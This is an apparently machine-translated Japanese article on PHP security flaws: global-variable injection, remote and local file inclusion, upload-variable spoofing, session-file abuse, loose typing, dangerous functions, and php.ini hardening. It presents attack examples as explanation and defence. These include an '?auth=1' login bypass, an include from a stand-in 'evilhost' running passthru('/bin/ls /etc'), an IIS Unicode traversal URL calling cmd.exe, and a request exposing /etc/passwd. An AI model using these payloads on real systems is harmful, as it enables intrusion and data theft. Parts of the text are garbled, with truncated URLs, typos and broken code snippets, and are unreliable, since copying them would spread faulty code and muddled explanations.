プログラム
【グローバル変数】
PHPの変数は事前に宣言する必要はなく、初めて使用するときに自動的に作成され、型を指定する必要はなく、コンテキストに基づいて自動的に決定されます。プログラマの観点から見ると、これは間違いなく非常に便利なアプローチです。明らかに、これは高速開発言語の非常に便利な機能でもあります。変数を作成したら、プログラム内のどこでも使用できます。この機能の結果、最初に作成された変数は空であるため、プログラマが変数を初期化することはほとんどありません。
明らかに、PHP ベースのアプリケーションの main 関数は通常、ユーザー入力 (主にフォーム変数、アップロードされたファイル、Cookie など) を受け入れ、入力データを処理して、結果をクライアントのブラウザーに返します。 PHP コードがユーザー入力にできるだけ簡単にアクセスできるようにするために、PHP は実際にこの入力データをグローバル変数として扱います。
例:
明らかに、これによりテキスト ボックスと送信ボタンが表示されます。ユーザーが送信ボタンをクリックすると、「test.php」がユーザーの入力を処理します。「test.php」が実行されると、ユーザーがテキスト ボックスに入力したデータが「$hello」に含まれます。ここから、攻撃者が自分の希望に応じて任意のグローバル変数を作成できることがわかります。攻撃者がフォーム入力を通じて「test.php」を呼び出すのではなく、ブラウザのアドレスバーに「http://server/test.php?hello=hi&set...」と直接入力した場合、「;$hello」が作成され、「$setup」が実行されます。 " も作成されます。
翻訳者注: これら 2 つのメソッドは、通常「POST」メソッドと「GET」メソッドと呼ばれるものです。
以下のユーザー認証コードは、グローバル変数によって引き起こされる PHP セキュリティの問題を明らかにします:
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information"
?>
ユーザーのパスワードが「hello」である場合、「$auth」を「1」に設定します。つまり、「$suth」が「1」であれば、いくつかの重要な情報が表示されます。表面的には正しいように見えますし、かなりの数の人がこれを行っていますが、このコードは「$auth」が設定されていないと仮定するという間違いを犯しています。値は空ですが、攻撃者がグローバルを作成できるとは予想していませんでした。 "http://server/test.php?auth=1" のようなメソッドを使用して、変数に値を割り当てます...そして、何が起こっているのでしょうか?
したがって、PHP プログラムのセキュリティを向上させるには、明確に定義されていない変数は信頼できません。プログラム内に多数の変数がある場合、これは非常に困難な作業です。
配列内の変数をチェックするのが一般的です。送信方法 (GET または POST) に応じて、PHP が「track_vars」オプション (これがデフォルト値) をオンにするように設定されている場合、ユーザーによって送信された変数は、上記のグローバル変数と配列で取得できます。
ただし、PHP にはユーザー入力を処理するための 4 つの異なる配列変数があることに注意してください。HTTP_GET_VARS 配列は GET モードで送信された変数を処理するために使用され、HTTP_COOKIE_VARS 配列は、POST によって送信された変数を処理するために使用されます。 HTTP_POST_FILES 配列 (新しい PHP でのみ提供される) は、ユーザーが変数を送信するための完全なオプションです。リクエストではこれら 4 つの配列に変数を簡単に保存できるため、安全な PHP プログラムはこれら 4 つの配列をチェックする必要があります
[リモート ファイル]。
PHP は多くの機能を提供する機能豊富な言語であるため、プログラマが特定の機能を実装するのは簡単ですが、セキュリティの観点から見ると、機能が増えるほどセキュリティを確保するのが難しくなります。ファイルはこの問題の良い例です:
< ?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file&: $filename
n ");
?>
上記のスクリプトは、ファイル "$filename" を開こうとし、失敗した場合はエラー メッセージを表示します。明らかに、「$filename」を指定できれば、このスクリプトを使用してシステム内の任意のファイルを参照できます。ただし、このスクリプトのあまり目立たない機能は、他の WEB サイトまたは FTP サイトからファイルを読み取ることができることです。実際、PHP のファイル処理関数のほとんどは、リモート ファイルを透過的に処理します。
例:
「$filename」を「http://target/scripts/..%c1%1c../wi...md.exe?/c+dir」と指定した場合
上記のコード実際には、上記はホストターゲット上の Unicode 脆弱性を悪用し、dir コマンドを実行するものです。
これにより、リモート ファイルに対する include()、require()、include_once()、および require_once() のサポートがコンテキストでより興味深いものになります。これらの関数の主な機能は、指定されたファイルの内容を組み込み、PHP コードに従って解釈することです。これらは主にライブラリ ファイルで使用されます。
例:
include($libdir . "/messages.php");
?>
上記の例では、通常、「$libdir」は、攻撃者が「$libdir」を設定しないようにできれば、このパスを変更できます。しかし、攻撃者は指定したパスにあるファイル language.php にしかアクセスできないため、何もできません (Perl の「Poison null byte」攻撃は PHP には影響しません)。ただし、リモート ファイルがサポートされているため、攻撃ファイルは次の内容を含む anguages.php の作成に使用される可能性があります。
passthru("/bin/ls /etc"); ;
次に、「$libdir」を「http://<;evilhost>/」に設定します。上記の攻撃コードがターゲットホスト上で実行され、「/etc」ディレクトリの内容が返されます。その結果、顧客のブラウザが影響を受けます。
攻撃サーバー (つまり、evilhost) は PHP コードを実行できないことに注意してください。そうでない場合、攻撃コードはターゲット サーバーではなく攻撃サーバーで実行されます。技術的な詳細については、http://www.securereality.com.au/sradv00006.txt を参照してください。
[ファイル アップロード]
PHP は、RFC 1867 に基づいてファイル アップロードを自動的にサポートします。次の例を見てみましょう。 FORM METHOD="POST" ENCTYPE="multipart/form-data">
上記のコードにより、ユーザーはローカル マシンからファイルを選択できます。送信をクリックすると、ファイルがサーバ。これは明らかに便利な機能ですが、PHP の応答方法により安全ではありません。 PHP がそのようなリクエストを初めて受信すると、呼び出された PHP コードの解析を開始する前でも、まずリモート ユーザーからファイルを受け入れ、ファイルの長さが「$MAX_FILE_SIZE 変数」で定義された値を超えているかどうかを確認します。テスト用に、ファイルはローカルの一時ディレクトリに保存されます。
したがって、PHP プログラムがファイルのアップロードを受け入れるかどうかを決定する前に、攻撃者は PHP を実行しているホストに任意のファイルを送信することができます。
ここでは、ファイルのアップロードを使用してサーバー上で DOS 攻撃を実行する可能性については説明しません。
ファイルのアップロードを処理する PHP プログラムを考えてみましょう。ファイルは受信され、サーバーに保存されます (場所は構成ファイルで指定されており、通常は /tmp)。拡張子は通常、次のようなランダムです。 「phpxXuoXG」という形式。 PHP プログラムはファイルを処理するためにファイルの情報をアップロードする必要があります。これには 2 つの方法があります。1 つは PHP 3 ですでに使用されており、もう 1 つは以前の方法に関するセキュリティ アドバイザリを作成した後に導入されました。
しかし、問題は依然として存在しており、ほとんどの PHP プログラムはアップロードされたファイルを処理するために依然として古い方法を使用していると断言できます。 PHP は、上記の例のように、アップロードされたファイルを記述するために 4 つのグローバル変数を設定します:
$hello = ローカル マシン上のファイル名 (例: "/tmp/phpxXuoXG")
$hello_size = ファイルのバイト単位のサイズ (例: 1024)
$hello_name = リモート システム上のファイルの元の名前 (例:
"c:\temp\hello.txt")
$hello_type = アップロードされたファイルの MIME タイプ (例: "text/plain")
その後、PHP プログラムが処理を開始します"$hello" に基づいてファイルが指定される場合、問題は、"$hello" が必ずしも PHP によって設定される変数である必要はなく、リモート ユーザーなら誰でも指定できることです。次のメソッドを使用すると:
http://vulnhost/vuln.php?hello=/etc..._name=hello.txt
は次の PHP グローバル変数になります (もちろん POST メソッドも可能です) used (cookie も)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上記のフォーム データは、 PHP プログラムの要件 予期された変数ですが、PHP プログラムはアップロードされたファイルを処理せず、代わりに「/etc/passwd」を処理します (通常は内容が公開されます)。この攻撃を使用すると、機密ファイルの内容が暴露される可能性があります。
新しいバージョンの PHP は HTTP_POST_FILES[] を使用してアップロードされたファイルを判断し、この問題を解決するための多くの関数も提供していると前に述べました。たとえば、ファイルが実際にアップロードされたかどうかを判断する関数があります。これらの関数はこの問題をうまく解決しますが、実際には、依然として古い方法を使用しており、この攻撃に対して脆弱な PHP プログラムがたくさんあるはずです。
ファイル アップロード攻撃手法のバリエーションとして、次のコードを見てみましょう:
if (file_exists($theme)) // ローカル システムにファイルが存在することを確認します
(リモート ファイルはありません)
include("$theme")
?>
攻撃者が "$theme" を制御できる場合、どうやら「$theme」を使用してリモート システム上の任意のファイルを読み取ることができます。攻撃者の最終的な目標は、リモート サーバー上で任意の命令を実行することですが、リモート ファイルを使用できないため、リモート サーバー上に PHP ファイルを作成する必要があります。これは最初は不可能に思えるかもしれませんが、攻撃者が最初にローカル マシン上に PHP コードを含むファイルを作成し、次に "theme" という名前のファイル フィールドを含むフォームを作成し、最後にこのフォームを使用すると、これが行われます。作成した PHP コードを含むファイルをファイルアップロードを通じて上記のコードに送信すると、PHP は攻撃者が送信したファイルを保存し、file_exists() 関数を攻撃者が送信したファイルに設定します。チェックに合格し、攻撃者のコードが実行されます。
任意の命令を実行する能力を獲得した後、攻撃者は明らかに特権を昇格させたり、結果を拡大したりすることを望んでいます。そのためにはサーバー上で利用できないいくつかのツールセットが必要ですが、ファイルのアップロードが再び役に立ちました。攻撃者は、ファイル アップロード機能を使用してツールをアップロードし、サーバーに保存してからコマンドを実行し、chmod() を使用してファイルのアクセス許可を変更し、それを実行する可能性があります。たとえば、攻撃者はファイアウォールや IDS をバイパスしてローカルの root 攻撃プログラムをアップロードして実行し、root 権限を取得する可能性があります。
[ライブラリ ファイル]
前に説明したように、include() と require() は主にコード ライブラリをサポートするためのものであり、通常、この独立したファイルがコード ライブラリです。その中の関数を使用する必要があります。必要なのは、このコード ライブラリを現在のファイルに組み込むことだけです。
当初、PHP プログラムを開発してリリースするとき、コード ベースとメインのプログラム コードを区別するために、通常はコード ベース ファイルに拡張子「.inc」を設定していましたが、すぐにこれは間違いであることがわかりました。 PHP インタープリターによってファイルを PHP コードに正しく解析できないためです。このようなファイルをサーバー上で直接リクエストすると、そのファイルのソースコードが取得されます。これは、PHP が Apache モジュールとして使用される場合、PHP インタープリターがファイルの拡張子に基づいて PHP に解析するかどうかを決定するためです。コードの。拡張子はサイト管理者によって指定されます。通常は「.php」、「.php3」、「.php4」です。重要な構成データが適切な拡張子なしで PHP ファイルに含まれている場合、リモート攻撃者がこの情報を簡単に入手できます。
最も簡単な解決策は、各ファイルに PHP ファイル拡張子を指定することです。これにより、ソース コードの漏洩を十分に防ぐことができますが、攻撃者がこのファイルを要求することにより、そのファイル内で実行されるはずのコードが使用される可能性があります。コンテキストは独立して実行されるため、前述したすべての攻撃につながる可能性があります。
以下は明らかな例です:
main.php 内:
$libDir = "/libdir";
$langDir = "$libdir/langages"; "$libdir/load language.php":
?> libdir/load language.php 内:
...
include("$langDir/$userLang"); 「libdir/load language.php」は、「main.php」から呼び出される場合には非常に安全ですが、「libdir/load language」には「.php」拡張子が付いているため、リモートの攻撃者がこのファイルを直接要求し、値を任意に指定することができます。
[セッション ファイル]
PHP
4 以降のバージョンでは、PHP プログラムのページ間での状態情報の保存がサポートされています。ユーザーが Web サイトにログインすると、そのユーザーが Web サイトを閲覧した際に、そのユーザーがログインしたという事実がセッションに保存されます。
実際には、このステータス情報を取得できます。 , セッションが開始されると(実際には最初のリクエストで自動的に開始するように構成ファイルに設定されます)、リモートブラウザが常にリクエストを送信するときにこの「セッションID」を送信すると、ランダムな「セッションID」が生成されます。セッションは Cookie によって簡単に維持されます。また、PHP プログラムで値が保存される特別な変数を使用してフォーム変数 (「セッション ID」を含む) を送信することによっても維持できます。
session_destroy (); // 現在セッション内のデータをすべて強制終了します。
$session_auth = "shaun";
session_register("session_auth") // $session_auth を
セッション変数として登録します
;新しいバージョンの PHP では、「$session_auth」の値が自動的に「shaun」に設定され、将来のスクリプトは変更された値を自動的に受け入れるようになります。これはステートレス Web ツールにとって非常に良いことですが、注意する必要もあります。 。
明らかな問題は、変数がセッションから取得されたものであることを確認することです。たとえば、後続のスクリプトが次の場合、
if (!empty($session_auth))
// ここでサイトへのアクセスを許可します
?>
上記のコードは、「$session_auth」が設定されている場合、ユーザー入力ではなくセッションから設定されることを前提としています。サイトへのアクセスを取得します。攻撃者は、この攻撃方法を使用する前に変数をセッションに登録する必要があることに注意してください。変数がセッションに入力されると、フォーム入力はすべて上書きされます。
セッション データは通常、ファイルに保存されます (場所は設定可能で、通常は「/tmp」)。このファイルには通常、「sess_」の形式が含まれます。変数値とその他のデータ。マルチホスト システムでは、ファイルが Web サーバーを実行しているユーザー (通常は誰も) として保存されるため、悪意のあるサイト所有者がセッション ファイルを作成して他のサイトにアクセスしたり、セッション ファイルの機密情報を検査したりする可能性があります。 。
セッション メカニズムは、攻撃者が入力をリモート システム上のファイルに保存するための別の便利な場所も提供します。これが不可能な場合、攻撃者は PHP コードを含むファイルをリモート システムに配置する必要があります。ファイルをアップロードすることでこれを行います。彼は通常、セッションを使用して自分の希望に従って変数に値を割り当て、次にセッション ファイルの場所を推測します。ファイル名は「php
」であることがわかっています。ディレクトリを推測するだけで済みます。通常、ディレクトリは「/tmp」です。
さらに、攻撃者は任意に「セッション ID」(「hello」など)を指定し、この「セッション ID」を使用してセッション ファイル(「/tmp/sess_hello」など)を作成することもできますが、「セッション ID」には文字と数字の組み合わせのみを使用できます。
[データ型]
PHP には緩いデータ型があり、変数の型は変数が配置されているコンテキストによって異なります。例: "$hello" は値 "" を持つ文字列変数として開始されますが、評価されると整数変数 "0" になり、予期しない結果が生じる場合があります。 "$hello" の値が "000" と "0" の間で異なる場合、empty() によって返される結果は true ではありません。
PHP の配列は連想配列です。つまり、配列のインデックスは文字列型です。これは、「$hello["000"]」と「$hello[0]」も異なることを意味します。
プログラムを開発する際には、上記の問題を注意深く考慮する必要があります。たとえば、ある場所で変数が「0」であるかどうかをテストし、別の場所でそれを検証するために empty() を使用するべきではありません。
[エラーが発生しやすい関数]
PHP プログラムの脆弱性を分析する場合、ソース コードが入手できれば、エラーが発生しやすい関数のリストが非常に必要になります。これらの関数のパラメータをリモートで変更できれば、脆弱性が見つかる可能性が高くなります。以下は、エラーが発生しやすい関数の詳細なリストです:
require(): 指定されたファイルの内容を読み取り、PHP コードとして解釈します
include(): 上記と同じ
eval( ): 指定された文字列は PHP コードとして実行されます
preg_replace(): 「/e」スイッチと一緒に使用すると、置換文字列は PHP コードとして解釈されます
<コマンド実行>
exec(): 指定されたコマンドを実行します、実行結果の最後の行を返します
passthru(): 指定されたコマンドを実行し、すべての結果をクライアントのブラウザに返します
``: 指定されたコマンドを実行し、すべての結果を配列に返します
system(): passthru(と同じ) ) ですが、異なります バイナリデータを処理します
popen(): 指定されたコマンドを実行し、入力または出力を PHP ファイル記述子に接続します
fopen(): ファイルを開き、PHP ファイル記述子に対応します
readfile() : ファイルの内容を読み取り、クライアントのブラウザに出力します
file() : ファイルの内容全体を配列に読み取ります
翻訳者注: 実際、このリストは完全ではありません。 ()」などのコマンドを実行する場合もあるので、自分で追加する必要があります。
[PHP のセキュリティを強化する方法]
上で紹介した攻撃はすべて、デフォルトでインストールされている PHP
4 にうまく実装できますが、何度も繰り返しましたが、PHP の設定は、いくつかの PHP オプションを設定することで非常に柔軟になります。 、これらの攻撃の一部に抵抗できる可能性は十分にあります。以下に、実装の難易度に応じていくつかの構成を分類します。
*低難易度
**中低難易度
***中高難易度
****高難易度
上記の分類は単なる個人的な意見ですが、PHP が提供するすべてのオプションを使用すれば、たとえそれがサードパーティのコードであっても、PHP は非常に安全であることを保証できます。なぜなら、PHP の多くの機能はもう利用できないからです。 。
**** 「register_globals」を「off」に設定します。このオプションは、PHP がユーザー入力用のグローバル変数を作成できないようにします。つまり、ユーザーがフォーム変数「hello」を送信した場合、PHP は「$hello」を作成しません。ただし、「HTTP_GET/POST_VARS[hello]」のみが作成されます。これは PHP では非常に重要なオプションです。このオプションをオフにすると、プログラミングに大きな不便が生じます。
*** 「safe_mode」を「on」に設定します
このオプションをオンにすると、次の制限が追加されます:
1. 実行できるコマンドを制限する
2. 使用できる機能を制限する
3. スクリプトの所有権とターゲット ファイルの所有権に基づくファイル アクセス制限
4. ファイルアップロード機能を無効にする
これは ISP にとって優れたオプションであり、PHP のセキュリティも大幅に向上します。
** "open_basedir" を設定します
このオプションは、指定されたディレクトリ外でのファイル操作を禁止し、ローカル ファイルまたはリモート ファイルに対する include() による攻撃を効果的に排除できますが、ファイル アップロードやセッション ファイルへの攻撃には依然として注意する必要があります。
** 「display_errors」を「off」に設定し、「log_errors」を「on」に設定すると、エラー メッセージが Web ページに表示されなくなりますが、ログ ファイルに記録されます。これにより、攻撃者による攻撃を効果的に防ぐことができます。ターゲットスクリプトの検出。
* 「allow_url_fopen」を「off」に設定すると、リモート ファイル機能が無効になります。